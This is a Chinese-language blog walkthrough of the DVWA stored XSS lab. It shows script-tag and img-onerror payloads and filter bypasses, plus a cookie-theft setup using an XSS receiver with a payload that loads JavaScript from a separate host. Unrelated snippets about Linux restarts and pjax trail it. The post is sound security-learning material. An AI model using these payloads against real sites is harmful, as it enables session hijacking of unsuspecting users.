XSS(Stored)

article/2025/8/27 2:46:46

XSS(Stored)

前言

看了一个web的安全视频,里面有说说有的web漏洞都是输入输出的控制问题,虽然感觉说的太笼统了。但确实没什么毛病。sql注入来说,对用户的输入做好处理,对服务端的输出做好处理,对于我这样的菜鸡来说就很难了(字符型注入对单引号转义就感觉好难做啊)
XSS也是这样。因为对用户输入控制的不严格,让用户的输入被当做代码执行。这和sql感觉就十分相似了。只不过一个是对数据库一个是对前端页面

练习

Low

我们点进页面可以发现这类似一个留言板页面
在这里插入图片描述
我们试着输一下试一下
在这里插入图片描述
可以看到测试的1,1显示到了下面
在这里插入图片描述
查看页面源码可以发现我们的输入被嵌入到了页面返回
这时候我们直接来试下最简单的弹窗,因为用户名有长度限制,我们将构造的语句输入message当中
在这里插入图片描述
可以看到message中并没有显示我们刚才输入的<script>1</script>并没有显示出来,而是被当做代码执行了,弹出了弹窗
从页面源码中我们也可以看到,这里直接将我们的输入嵌入了源码,所以被当做了代码执行
在这里插入图片描述
然后这里name虽然有字符限制,但这里字符限制仅仅是在前端做了限制,我们试下抓包修改
在这里插入图片描述
这样亲测可行。这样能执行代码就能有很多操作了,比如对方访问这个页面的时候去访问别的资源页面,把cookie上传到xss平台等等…
<script>alter(document.cookie)<script> 弹cookie
在这里插入图片描述
但这样不是传到我们这里…所以需要xss平台
这里自己试着构建了一个建议的平台,但每次都失败了,发现dvwa把+给过滤了???
存储型xss盗取cookie实验
我看别人做的没问题啊…难道新版本加了过滤???

Medium

在这里插入图片描述
可以看到Medium,我们再输入<script>alter(1)</script> ,发现没有按照script解析…
这里是对<script> </script>进行了过滤,也就是对输入进行了控制,这和SQL注入那里很像,SQL注入是对输入中的一些特殊字符进行了转义
这里message的strip_tags函数把<script>标签给剥除了,addslashes函数把 ’ 转义成了 \ ’
但name标签没做限制只替换了<script>
通过双写绕过(文件包含的时候过滤http的时候我们也用过这种方法)
在这里插入图片描述
可以看到成功弹窗
在这里插入图片描述
这里还可以通过将<Script>首字母大写来绕过
在这里插入图片描述

High

high级别对<script>使用了正在正则表达过滤
preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
可以看到存在script这样顺序的都会被替换,但img、iframe并没有过滤(html也不太熟…)
在这里插入图片描述
OK这样插入后发现顺利的弹出了1
在这里插入图片描述

XSS平台

OK现在来搭一个xss平台来实验下吧,下面是蓝莲花战队提供的开源xss平台,我是直接docker装十分方便(这里因为一些原因用的win下面的docker,也是第一次用搞了好久,主要是docker这里的ip问题…)

XSS平台项目名称:BlueLotus_XSSReceiver

作者:firesun(来自清华大学蓝莲花战队)

项目地址:https://github.com/firesunCN/BlueLotus_XSSReceiver

上面项目中的readme是很全面的,当然下面有篇搭建博客也可以看下,也介绍了些使用方法

从零开始搭建轻量级个人XSS平台
在这里插入图片描述
搭好后就是上面那样的界面
就不重复造轮子了,具体使用方法可以参照上面的博客,很详细
自己亲测也没问题,如下图
在这里插入图片描述
可以看到我们拿到了cookie
在这里插入图片描述
但这里获取cookie也登不上去啊…(老版本的dvwa好像是可以的)因为增加了一个token值…
OK,针对这个token CSRF漏洞high界别会练习到(先做的CSRF发现要用到XSS又来做了XSS)
初级和中级都没问题,高级的时候尝试没有成功…
在这里插入图片描述

在高级的时候它不断去访问我们给的url但就是没有成功…
<img src=# οnerrοr=src=‘http://192.168.99.100/myjs/cookie.js’>
这样的情况表示http://192.168.99.100/myjs/cookie.js不存在??? 我也很迷…
结果我拿low级别又试了一次也没成功…(这里可能发生了什么未知错误???)
但后面重开了个js low级别成功了,但high还是出现上面的问题…
在这里插入图片描述
看了下html,这是插进去了啊…
low 级别试了下上面的代码,也是出同样的问题…
这里那就是后面不应该用src了,这样去下回来的js当图片解析不了,所以它就一直去下…(我分析认为是这样的)
自己对js和html确实不熟,所以搞不定啊…
Xss里img标签的一些利用
img标签之xss利用从放弃到OAuth授权劫持
新手科普 | 通过DVWA学习XSS
上面的博客中的一些方法我也尝试了一下,但依旧没有成功…
但最后一篇博客中构造的payload有点复杂…用到了ajax
但它的思路就是直接把payload放进去,不用去网站在在下载,但我试了下依旧没有成功
脚本小子的痛,不会写payload…,补补前端再来填坑…
这里在xss(reflected)博文TIPS中有提到解决方案,但对于high级别依旧存在问题

总结

xss感觉这个漏洞和sql注入极为相似的,一个是通过sql语句来注入,一个是通过js(主要是Js吧)来注入,但两者的对象却又不同,一个是直接攻击服务端获取数据,一个是相当于在服务端布好陷阱

首先还是跟sql注入一样要判断有没有注入点,当然xss也有自己的扫描工具,下次体验后再说说感受

其次是xss的过滤,很显然xss的防范手段和sql注入类似,白名单机制,有一定的过滤措施,前不久做的一道题就是要script大写才行,从上面的练习中也可以发现过滤规则的加强,就需要尝试的越多script标签就不一定能使用了

最后是xss的利用,sql注入很明显我们可以可以利用它来获取数据库中的数据,而xss呢?来弹个窗???目前我能想到的就是获取cookie,然后实现用户的登录,我也看到有人通过xss漏洞实现了qq空间的登录,其次xss也可以和csrf结合起来使用。可能使用起来的复杂性比sql注入高,或者说直观性不如sql注入,所以目前的思路也不是很多。后面把反射型和DOM型练习完,可能又会有新想法把…

参考

  1. 新手指南:DVWA-1.9全级别教程(完结篇,附实例)之XSS
  2. Xss里img标签的一些利用
  3. img标签之xss利用从放弃到OAuth授权劫持
  4. 新手科普 | 通过DVWA学习XSS
  5. 从零开始搭建轻量级个人XSS平台

http://chatgpt.dhexx.cn/article/4nlGPSIB.shtml

相关文章

linux重启java项目

1.java项目占用的8888端口&#xff0c; 首先查看该进程的进程号&#xff1a; netstat -tunlp|grep 88882.占用8888端口的进程id为4179&#xff0c;杀死该进程&#xff1a; kill -9 41793.启动java项目&#xff1a; nohup java -jar demo-0.0.1-SNAPSHOT.jar &nohup 意思…

linux 如何重启oracle,Linux重启oracle数据库的三大技巧

Linux系统下网站出现问题的时候,可通过重启oracle数据库进行处理,而重启oracle数据库的方法有好多种,可登陆数据库进行操作,也可在终端操作,具体的随小编一起来了解下吧。 网站的服务中断了,重启下发现是oralce服务不存在,又不想重启机器,就重新启动下oralce,再重启服…

Linux重启nginx服务

1.方法一 到nginx下面的sbin目录下执行 ./nginx -s reload2.方法二 如果第一种不生效&#xff0c;&#xff08;项目背景&#xff09;实际项目不生效&#xff0c;也即部署到nginx下面的vue项目&#xff0c;已经更换为最新版本&#xff0c;但是仍然没有生效&#xff0c;可以使用…

linux重启程序

今天在Linux上部署程序出错&#xff0c;经检查最后是linux上的程序原来的该程序未停止&#xff0c;又重新启动该程序导致&#xff08;相当与Linux上有两个该程序同时运行导致的错误&#xff09; 解决方法&#xff1a; 1. 查看linux 上的线程 ps -ef | grep java2.运行结果 其…

pjax理解

注&#xff1a; http://www.itkee.cn/topic-info-75.html https://fly.layui.com/jie/10956/ http://bsify.admui.com/jquery-pjax/?idpjax-pushstate-ajax

thymeleaf 整合 pjax 无刷新跳转

原文地址&#xff1a; http://www.linzichen.cn/article/1577881001718185984 在一些需要做 seo 优化的应用里&#xff0c;比如门户网站、博客论坛网站、商城商品页网站等&#xff0c;我们的数据常常采用 服务端渲染的方式来展现&#xff0c;目的是为了让爬虫更好的抓取到&…

php pjax案例,jQuery pjax简单示例汇总

pjax 是一个jQuery插件&#xff0c;它使用 ajax 和 pushState 来实现快速的浏览体验&#xff0c;包括真正的固定链接&#xff0c;页面标题和工作返回按钮。本文主要和大家分享jQuery pjax简单示例汇总&#xff0c;希望能帮助到大家。 ajax缺点是破坏了浏览器的前进后退&#xf…

pjax php,php整合pjax(pushstate+ajax)实现无刷新页面

PJAX效果 通过url可以跟踪ajax的动态加载内容。这种技术尤其在two step view布局的视图中有很大的好处。无刷新加载页面&#xff0c;意味着响应速度和用户体验得到了极大的提升&#xff0c;在静态脚本和通用模块比较多的情况下&#xff0c;最大程度上节省了重用部分的开销。应用…

html5 pjax,pjax——页面无刷新跳转

pjax虽然不是什么新的技术&#xff0c;然而本人是最近才发现这个比较牛叉的技术。下面是对pjax的介绍&#xff1a; pjax是在HTML5里面引用的新技术&#xff0c;是对ajax pushState的封装&#xff0c;是实现无刷新ajax加载并解决浏览器前进和后退问题的一个开源实现。同时支持了…

java pjax_(转)PJAX的实现与应用

一、前言 web发展经历了一个漫长的周期&#xff0c;最开始很多人认为Javascript这们语言是前端开发的累赘&#xff0c;是个鸡肋&#xff0c;那个时候人们还享受着从一个a链接蹦到另一个页面的web神奇魔术。后来随着JavaScript的不断更新换代&#xff0c;他的功能不仅仅是为网页…

html5 pjax,关于PJAX局部刷新

前言部分 本教程最先来自鬼少博客&#xff0c;后论坛有人补充搜索和评论&#xff0c;然后又被各种转载&#xff0c;转完甚至还有阉割现象&#xff0c;导致会出现各种问题,于是&#xff0c;我这里再重发一次。虽然注释很清楚&#xff0c;但是&#xff0c;还有很多人看不懂&#…

java pjax_pjax简单实例

ajax缺点是破坏了浏览器的前进后退&#xff0c;因为ajax的请求不会留在历史记录中。pjax就不一样了&#xff0c;pjax被解释成ajaxpushState的封装&#xff0c;因为它把ajax的请求写入历史记录&#xff0c;并反映在地址栏&#xff0c;这样用户就能愉快地使用前进后退了。pjax有好…

Typecho开启全站Pjax

原文地址&#xff1a;Typecho开启全站Pjax 前言 因为上次更新后加入民音乐插件&#xff0c;但是有个问题就是在页面跳转的时候由于页面已经刷新了&#xff0c;所以音乐就不会继续播放了&#xff0c;就想着去引入Pjax来解决这个问题&#xff0c;同时引入pjax后比较直观的改变就…

pjax使用小结

前言 上周看到一篇文章在分析简书 我的主页 页面 3 个 tab 页切换的 bug&#xff0c;起先以为是寻常的样式 bug 而已没怎么在意&#xff0c;后来在文章中看到 pjax 这个术语&#xff0c;长得和 ajax 有点像&#xff0c;遂去了解了下。 简介 虽然传统的 ajax 方式可以异步无刷新…

网站访问速度优化之pjax

pjax 是 ajax 和 pushState 的结合&#xff0c;它是一个 jQuery 插件。它通过 ajax 从服务器端获取 HTML 文件&#xff0c;在页面中用获取到的HTML替换指定容器元素中的内容。然后使用 pushState 技术更新浏览器地址栏中的当前地址&#xff0c;并且保持了真实的地址、网页标题&…

idea热更新

配置idea热更新 第一步&#xff1a;下载插件 JRebel idea-file-settings-plugins搜JRebel 点击installed下载 我这里已经下载好。 第二步&#xff1a;配置GUID 点击jrebel Activation&#xff0c;开始配置 第一行是服务器地址&#xff1a;https://jrebel.qekang.com/{GUID} G…

webpack和vue热更新

目录 webpack一些概念介绍 webpack热更新流程 1. 启动阶段 ①->②->A->B 2. 更新阶段 ①->②->③->④ vue的组件热更新模块 总结 提到热更新&#xff0c;首先我们要有一个概念&#xff1a;Vue有热更新模块&#xff0c;而webpack也有它的HRM模块&#x…

JAVA实现代码热更新

JAVA实现代码热更新 引言类加载器实现热更新思路多种多样的加载来源SPI服务发现机制 完整代码类加载器共享空间机制Tomcat如何实现JSP的热更新Spring反向访问用户程序类问题补充细节推荐资源 引言 本文将带领大家利用Java的类加载器加SPI服务发现机制实现一个简易的代码热更新…

cordova打包app热更新问题

定义&#xff1a; 基于 cordova 框架能将web应用 (js, html, css, 图片等) 打包成 App。当 App 在终端上安装后&#xff0c;不需要重新下载app&#xff0c;实现内壳更新。 原理&#xff1a;1.在项目根目录的config.xml文件中添加指向服务器的地址 2.在www目录中添加chcp.json配…

【热更新】游戏热更新方案

游戏热更新方案 热更新演化热更新方案【1】 进程切换1.1 利用fork、exec切换1.2 利用网关切换1.3 微服务- 进程切换注意要点 【2】 动态库替换【3】 脚本语言热更新热更新探究最简单的实现热更的方法最简单的实现热更的方法的局限性热更新全局替换模块方法的局限性 工程实现1. …